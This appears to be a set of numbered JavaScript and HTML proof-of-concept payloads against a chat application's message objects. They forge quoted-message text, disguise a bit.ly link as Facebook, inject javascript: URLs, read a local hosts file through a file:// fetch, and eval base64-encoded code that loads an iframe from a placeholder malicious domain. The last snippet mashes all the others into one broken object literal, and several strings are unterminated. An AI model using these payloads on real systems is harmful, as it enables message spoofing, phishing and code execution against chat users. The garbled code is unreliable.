galpx

## 9.js
alert(navigator.userAgent);
(async function(){
	// read "file:///C:/Windows/System32/drivers/etc/hosts" content
	const r = await fetch('file:///C:/Windows/System32/drivers/etc/hosts);
	const t = await r.text();
	alert(t)
}())

## 8.html
<html>
  <head></head>
  <body>
    <script>
      top.postMessage(
      JSON.stringify(
      "open('https://facebook.com');
        alert('external payload');"
      ),
      "*");

## 8.js
<html>
  <head></head>
  <body>
    <script>
      top.postMessage(
      JSON.stringify(
      "open('https://facebook.com');
        alert('external payload');"
      ),
      "*");

## 7.js
var payload = `
  hard_expire_time.innerHTML +=
  '<object data="https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.html" />';
  onmessage=(e)=>{eval(JSON.parse(e.data))};
`;
payload = `javascript:"https://facebook.com";eval(atob("${btoa(payload)}"))`;
e.__x_body = e.__x_matchedText = payload;

## 6.js
e.__x_body = e.__x_matchedText = 'javascript:"https://example.com";alert(document.domain)';

## 5.js
e.__x_body = e.__x_matchedText = "javascript:alert(document.domain)";

## 4.js
e.__x_body = e.__x_matchedText =
  "Join Facebook! https://facebook.com+login_oage&welcome_to_facebook=true&timestamp=42837643@bit.ly/2SfZikR Become a friend of mine!";

## 3.js
e.__x_body = e.__x_matchedText = "https://example.com";

## 2.js

e.__x_quotedMsg.body = "I think you are the worst!"; // alter the text
e.__x_quotedStanzaID = e.__x_quotedStanzaID + "_"; // change the id of the original message

## 1.js
e = {
  __x_body: "Why would you say that?!",
  __x_type: "chat",
  __x_quotedMsg: {
    body: "I think you are the best!",
    type: "chat",
    mentionedJidList: [],
    isForwarded: false,
    labels: [],
  },
	alert(navigator.userAgent);
	(async function(){
	// read "file:///C:/Windows/System32/drivers/etc/hosts" content
	const r = await fetch('file:///C:/Windows/System32/drivers/etc/hosts);
	const t = await r.text();
	alert(t)
	}())
	<html>
	<head></head>
	<body>
	<script>
	top.postMessage(
	JSON.stringify(
	"open('https://facebook.com');
	alert('external payload');"
	),
	"*");
	var payload = `
	hard_expire_time.innerHTML +=
	'<object data="https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.html" />';
	onmessage=(e)=>{eval(JSON.parse(e.data))};
	`;
	payload = `javascript:"https://facebook.com";eval(atob("${btoa(payload)}"))`;
	e.__x_body = e.__x_matchedText = payload;
	e.__x_body = e.__x_matchedText =
	"Join Facebook! https://facebook.com+login_oage&welcome_to_facebook=true&timestamp=42837643@bit.ly/2SfZikR Become a friend of mine!";

	e.__x_quotedMsg.body = "I think you are the worst!"; // alter the text
	e.__x_quotedStanzaID = e.__x_quotedStanzaID + "_"; // change the id of the original message
	e = {
	__x_body: "Why would you say that?!",
	__x_type: "chat",
	__x_quotedMsg: {
	body: "I think you are the best!",
	type: "chat",
	mentionedJidList: [],
	isForwarded: false,
	labels: [],
	},